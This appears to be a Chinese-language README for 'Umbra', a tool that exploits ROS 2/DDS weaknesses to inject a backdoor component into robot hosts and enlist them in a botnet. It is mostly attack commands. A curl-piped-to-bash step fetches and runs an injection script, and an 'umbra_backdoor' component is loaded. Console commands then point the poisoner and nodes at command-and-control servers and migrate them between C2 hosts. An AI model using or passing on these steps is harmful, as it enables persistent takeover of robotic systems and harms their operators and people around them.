Umbra(陰影):DDS底層協議漏洞遠程惡意組件注入Botnets
Umbra
地址:https://github.com/MartinxMax/Umbra
ROS 2 協定漏洞:遠端惡意元件注入工具
概述跨子網通訊限制、容器元件權限控制缺陷等安全性漏洞。報告的核心目標是:透過利用這些漏洞,構建一套可遠端控制多個 ROS 2 節點的 DDS 僵屍網路,實現對目標 ROS 2 主機的持久化控制與權限提升。
細節:Umbra_Report_XX.pdf
Umbra Poisoner
不依賴於 ROS 2 環境條件。
若你和目標位於同一區域網路(LAN),即可部署於你自己的主機上。
$ ./umbra_poisoner
Umbra Console
投毒器須使用參數 --c2 <IP>:<PORT>
連接到控制器。
$ ./umbra_console
Umbra Logger
記錄目標 LAN 中部署的 ROS 節點數量。
$ ./umbra_loger
Umbra 元件之本地注入:C2 會話遷移
- 將惡意元件初始化到正常的 ROS 2 系統中。
備註:在 exploit
目錄中有 injection_xxxxx.sh
(Ubuntu-192.168.0.113)$ curl http://server/injection_xxxxx.sh | bash
(Ubuntu-192.168.0.113)$ ros2 component list
- 本地註冊惡意元件(若雙方的 Ubuntu 都已安裝 ROS 2,也可遠端註冊)
(Ubuntu-192.168.0.113)$ source /dev/shm/umbra_backdoor_install/setup.bash; \
ros2 component load /UMBRA_192_168_0_113 umbra_backdoor umbra --node-name injection
- 啟動
umbra_console
控制器
(Arch-192.168.0.112)$ ./umbra_console
- 啟動
umbra_loger
日誌器
(Arch-192.168.0.112)$ ./umbra_loger
- 啟動
umbra_poisoner
投毒器
(Arch-192.168.0.112)$ ./umbra_poisoner --c2 192.168.0.112:7010
- 在控制器中進入 session,設定節點參數並連接到 C2
Umbra# use 959145908c4f64af8292392d692b5669
Umbra[959145908c4f64af8292392d692b5669]# show
Umbra[959145908c4f64af8292392d692b5669]# set HC2F 192.168.0.112:7010
Umbra[959145908c4f64af8292392d692b5669]# set HC2S 192.168.0.112:443
Umbra[959145908c4f64af8292392d692b5669]# run
- 更新命令以將節點遷移到其他 C2 主機
Umbra[959145908c4f64af8292392d692b5669]# set HC2S xxxxx:xxxxx
Umbra[959145908c4f64af8292392d692b5669]# run